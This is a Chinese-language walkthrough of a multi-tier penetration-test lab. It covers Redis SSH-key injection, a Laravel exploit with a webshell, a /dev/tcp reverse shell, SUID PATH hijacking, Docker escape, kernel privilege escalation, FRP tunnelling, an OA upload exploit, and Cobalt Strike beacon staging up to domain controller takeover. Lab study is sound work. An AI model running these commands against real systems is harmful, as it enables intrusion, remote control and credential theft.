渗透环境
网络拓扑
外部网络:
- Kali 攻击机:Vmnet8 - 192.168.59.128
- DMZ 跳板机 Web1 (Ubuntu):Vmnet8 - 192.168.59.141,Vmnet2 - 192.168.52.10
第一层内部网络:
- Web2 服务器 (Ubuntu):Vmnet2 - 192.168.52.20,Vmnet14 - 192.168.93.10
- PC1 (内网 1):Vmnet2 - 192.168.52.30(通达 OA),Vmnet14 - 192.168.93.20
第二层内部网络:
- PC2 (目标):Vmnet14 - 192.168.93.40(永恒之蓝)
- DC (域控):Vmnet14 - 192.168.93.30(Psexec SMB)
[图片]
角色表
本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。
- 外网突破:Kali 利用 Web1 的 Redis 未授权 (192.168.52.10) 获得首个立足点。
- 内网 1 横向移动:以 Web1 为跳板,扫描并攻击内网 1 (192.168.52.0/24) 中的 Web2 和 PC1。
- 向内网 2 渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网 2 (192.168.93.0/24)。
- 内网 2 攻击:最终在内网 2 中,利用永恒之蓝攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
| 节点 | IP 地址 | 角色 | 渗透路径中的作用 |
|---|---|---|---|
| Kali 攻击机 | 192.168.59.128 (Vmnet8) | 攻击发起源 | 从外网发起攻击的起点 |
| Web1 跳板机 | 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) | 初始入口 Redis 未授权访问 | 第一层跳板,连接外网与内网 1 |
| Web2 服务器 | 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) | Laravel 应用 & Docker 双网卡网关 | 第二层跳板,连接内网 1 与内网 2 |
| PC1 | 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) | 通达 OA 系统 双网卡主机 | 辅助跳点,连接内网 1 与内网 2 |
| PC2 (目标) | 192.168.93.40 (Vmnet14) | 存在 MS17-010(永恒之蓝) | 内网 2 核心攻击目标之一 |
| DC (目标) | 192.168.93.30 (Vmnet14) | 域控制器,存在 Psexec/SMB | 内网 2 最终攻击目标 |
网络搭建
网络适配器配置
修改 Web1 的网卡配置
将桥接的网卡改为 NAT 和 VMnet2。开启 redis 服务:redis-server /etc/redis.conf。启动 Nginx 服务:/usr/sbin/nginx -c /etc/nginx/nginx.conf。
建议完成此步骤后拍摄快照留存,避免后续错误需重新搭建环境。
修改 Web2 的网卡配置
将桥接的网卡改为 VMnet2 和 VMnet14。确保 Docker 服务运行:sudo service docker start 及 sudo docker start 8e172820ac78。
在攻击机验证 Web1 服务器的 81 端口访问:http://192.168.59.141:81/。
同样建议完成后拍摄快照。
修改 PC1 的网卡配置
将桥接的网卡改为 VMnet2 和 VMnet14。启动通达 OA 需管理员密码:Administrator / Whoami2021。执行 C:\MYOA\bin\AutoConfig.exe。注意关闭防火墙,否则无法访问其 8080 端口。
配置网段
编辑虚拟网络编辑器
点击 VMware 编辑 - 虚拟网络编辑器,进入配置 vmnet 网卡的界面。
vmnet2 网卡
将 vmnet2 网段改为 192.168.52.0/24。
vmnet14 网卡
添加 vmnet14 网卡,网段设置为 192.168.93.0/24。
信息搜集
探测存活主机
使用 nmap 扫描发现存活 IP:
nmap -sn 192.168.59.0/24
发现 IP 地址为 192.168.59.141。
探测端口
对 192.168.59.141 进行常用端口探测,发现敏感端口 22、80、81:
nmap -A 192.168.59.141
Redis 渗透
生成 ssh 私钥
在攻击机中生成一对 RSA 非对称加密密钥,默认在当前用户.ssh 目录下创建私钥文件 id_rsa 和公钥文件 id_rsa.pub。
ssh-keygen -t rsa
查看生成公钥文件
进入.ssh 目录,查询公钥内容:
cat ~/.ssh/id_rsa.pub
写入 Redis 服务器
直接连接未授权 Redis
使用 redis-cli 连接目标:
redis-cli -h 192.168.59.141
写入 SSH 公钥获取服务器权限
通过篡改 Redis 的数据持久化配置,将生成的 SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,实现免密登录。
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save
ssh 连接
使用私钥连接:
ssh [email protected] -i ~/.ssh/id_rsa
查看 Web1 的 Nginx 配置
获取控制权后,查看 Nginx 配置文件,发现 81 端口进行了反向代理(指向 192.168.52.20 的 8000 端口)。这意味着访问 Web1 的 81 端口实际上访问的是 Web2 服务器。
cd /etc/nginx/conf.d/
cat 81.conf
Laravel 渗透(Web2)
本部分渗透需要确保 Web1 和 Web2 虚拟机均处于打开状态。
发现 Laravel
访问 Web1 的 81 端口,发现其为 Laravel 服务:
http://192.168.59.141:81
下载 PoC
使用 GitHub 上的 CVE-2021-3129 漏洞利用脚本:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
执行 PoC 上传木马
执行 PoC 上传木马,命令如下:
python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81
输出 webshell 地址:http://192.168.59.141:81/fuckyou.php,密码:pass。
下载哥斯拉
由于 Laravel 的 PoC 较老,建议使用低版本哥斯拉连接:
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla
连接哥斯拉
通过 java -jar 启动哥斯拉,添加木马会话(webshell 地址及密码同上)。
发现 Docker 环境
通过 ls -la / 查看根目录,发现 docker 相关文件,说明这是 Docker 环境,需要进行逃逸。
执行 whoami 返回 www-data 用户,需提权并逃逸。
Docker 逃逸(Web2)
利用反弹 shell 交互
Web1 监听 5555 端口
因为哥斯拉无法提供交互式会话,改用反弹 shell 连接。在 Web1 的 ssh 终端开启 5555 端口监听。
哥斯拉(Docker)连接 5555 端口
在 Docker 容器内执行:
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
Web1 反弹 shell 成功
此时可在 Web1 的 ssh 终端通过监听 5555 端口连接 Web2 的 Laravel 服务器 docker 环境。
查找 find 权限
在 Docker 容器或 Linux 系统中搜索具有 SUID 权限位的可执行文件:
find / -perm -u=s -type f 2>/dev/null
发现 /home/jobs/shell 文件是一个设置了 SUID 权限的可执行程序,属主为 root。
分析 /home/jobs/shell 文件
file 命令检测
使用 file /home/jobs/shell 查看文件类型,确认为可执行程序。
发现源码文件
检查目录是否存在相关源码文件:ls -l /home/jobs,发现 demo.c 文件。
查看内容:cat /home/jobs/demo.c。该 C 程序通过 setuid(0) 和 setgid(0) 将进程权限提升至 root 身份,并调用 system("ps") 执行系统进程查看命令。
尝试直接执行 shell 程序
执行 shell 程序,确认其执行了 ps 程序,说明 shell 是 demo.c 编译而得。
环境变量提权
命令详解
进行 PATH 环境变量劫持提权攻击,步骤如下:
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
- 准备恶意程序:在/tmp 创建名为 ps 的文件,内容为/bin/bash。
- 劫持系统命令路径:将/tmp 添加到 PATH 最前面,优先查找。
- 触发执行并提权:执行 ./shell,因 SUID 位以 root 运行,调用的 ps 实际是我们创建的木马。
实操提权
执行 shell 后输入 id 和 whoami,确认提权成功。
当 ./shell 被执行时,由于设置了 SUID 位,操作系统会创建一个以 root 权限运行的进程。若代码中存在类似 system("ps") 的调用,系统会按照 PATH 顺序查找,找到我们创建的/tmp/ps 并执行,从而继承父进程的 root 权限。
交互式会话
python -c 'import pty; pty.spawn("/bin/bash")'
Docker 逃逸准备
特权模式检测
通过 cat /proc/self/status | grep CapEff 查看能力值。若返回值接近全权限掩码,则确认容器以特权模式运行。
查看分区
通过 fdisk -l 获知宿主机磁盘为/dev/sda。
挂载文件系统
确认特权模式后,在容器内创建临时目录作为挂载点(/ljn)。使用 mount 命令将宿主机的物理磁盘挂载到该目录:
mkdir /ljn
mount /dev/sda1 /ljn
写入 ssh 密钥进行逃逸
跳板机 Web1 生成密钥
在 Web1 生成密钥:ssh-keygen -f ljn。
向 Web2 写入公钥
将密钥写入 /ljn/home/ubuntu/.ssh/authorized_keys 中:
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys
Web1 连接 Web2 的 ssh 成功
Web1 使用 ssh -i ljn [email protected] 连接宿主机。需先将 ljn 私钥权限设置为 600:chmod 600 ljn。
此时成功逃逸到 Web2 系统,但用户为 ubuntu,仍需提权。
Web2 提权
CVE-2021-3493 PoC 下载
CVE-2021-3493 是 Linux 内核高危本地权限提升漏洞,主要影响 Ubuntu 系统。可从 GitHub 获取 PoC。
Web2 上创建 PoC 文件
建立 exploit.c 文件,粘贴脚本内容。
编译执行 PoC 提权
使用 GCC 编译器编译并执行:
gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn
提权成功。
Web1 上传 Fscan 探测内网 1
上传 fscan
由于 Web1 是 Linux 系统,将 fscan_arm64 传入 Web1 中。
fscan 探测 192.168.52.0/24 网段
为 fscan_amd64 添加可执行权限,扫描整个 C 类网段:
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24
分析结果,发现 30 是 Windows 系统,8080 是通达 OA。
FRP 配置第一层反向代理
服务器(KALI 攻击机)
配置文件 frps.ini
FRP 服务端监听端口 7000:
bindPort = 7000
Kali 执行 frps
./frps -c frps.ini
客户端(Web 跳板机)
配置文件 frpc.ini
frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件。
[common]
server_addr = 192.168.59.128
server_port = 7000
[socks5]
type = tcp
remote_port = 12347
plugin = socks5
向 Web1 服务器上传 frpc 文件并执行
将配置好的 frpc 上传至 Web1 并执行。
Kali 配置 proxychains
配置/etc/proxychains4.conf 文件,添加 socks5 0.0.0.0 12347。
PC1 渗透(通达 OA 走 FRP 代理)
访问 PC1 的 8080 端口
访问 PC1 的通达 OA 服务(192.168.52.30:8080),需配置 socks5 代理 192.168.59.128:12347。
OA 工具箱渗透
配置代理
选择使用 OA 工具箱渗透,使用前需配置 socks5 代理。
扫描探测
左侧菜单栏中选择通达,输入 URL 地址 http://192.168.52.30:8080/,点击验证,发现存在文件上传安全风险。
写入木马
点击'文件上传',粘贴冰蝎马的内容并上传:
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
连接冰蝎木马
使用冰蝎工具前需配置 socks5 代理 192.168.59.128:12347。URL 地址及密码(rebeyond)填入后成功连接。
发现第二层内网 192.168.93.0/24
使用 ipconfig 查询 IP 地址,发现另一个网卡 IP 为 192.168.93.20,说明存在第二层内网。
添加路由
此时已拿到 Web1、Web2 和 PC1 的控制权。
Kali 添加路由
route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0
Web1 添加转发功能
sysctl -w net.ipv4.ip_forward=1
Web2 添加路由
route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0
PC1 添加路由
route add 192.168.59.0 mask 255.255.255.0 192.168.52.10
Kali 与 Web2 测试连通性
测试 ping 连通性。
Kali 与 PC1 测试连通性
测试 ping 连通性。
CS 监听 Web1(直连)
创建 https 监听
在 Cobalt Strike 中创建 HTTPS 监听器。
配置 cs 插件 genCrossC2.Win
确保 genCrossC2.Win 目录中的 key 与 CS server 端的 key 值相同。
使用 genCrossC2.Win 生成 linux beacon
genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw
将 ljn-10050 上传至 Web1 并运行
上传生成的 beacon 文件至 Web1 并执行。
CS 上线 Web1
Web1 上线,内网 IP 地址为 192.168.52.0/24 网段。
CS 上线 Web2(路由)
Web2 上传 beacon
在 Web1 的 beacon 文件目录中启动 HTTP 服务:python3 -m http.server 8888。
Web2 下载 ljn-10050.out。
Web2 运行 beacon
运行 ljn-10050.out。
CS 上线 Web2
CS 成功上线 Web2。
CS 上线 PC1(路由)
CS 创建 10087 监听
添加 cs http beacon 监听
添加监听器,选择 payload 类型(Beacon HTTP),配置回连 IP 和端口。
生成木马 Payload
选择 Windows 可执行文件(Stageless),配置 mooyuan2008 监听器,输出格式为 windows exe,保存为 mooyuan2008-http-x64.exe。
PC1 执行 Beacon
冰蝎上传 beacon 到 PC1
通过冰蝎上传生成的 exe 文件。
冰蝎执行 beacon
执行 mooyuan2008-http-x64.exe。
CS 上线 PC1 的 beacon
CS 上线 PC1
CS 成功上线 PC1。 为防止不稳定,可进行提权操作。
抓取密码
使用 CS 功能抓取密码。
端口扫描
进行内网端口扫描。
域信息搜集
收集域相关信息。
CS 创建 SMB 监听
新建 SMB 监听器,保存后增加 ljn-smb 监听。
CS 上线 DC(PSexec via PC1 smb)
做之前先还原快照或手动打开防火墙,确保环境是原始版本。
CS 上线 PC2(PSexec via DC smb)
利用 SMB 中转会话和 PSexec 上传 DC 域控。
总结
本次渗透展示了从外网到内网的完整攻击链。通过 Redis 未授权访问获取 Web1 权限,利用 Laravel 漏洞和 Docker 逃逸进入内网 1,通过 FRP 搭建代理连通内网 2。随后使用 fscan 探测,结合 Cobalt Strike 上线多主机,最终通过 SMB 和永恒之蓝攻陷域控 DC。涉及信息收集、漏洞利用、提权、横向移动及内网穿透等关键技术环节。


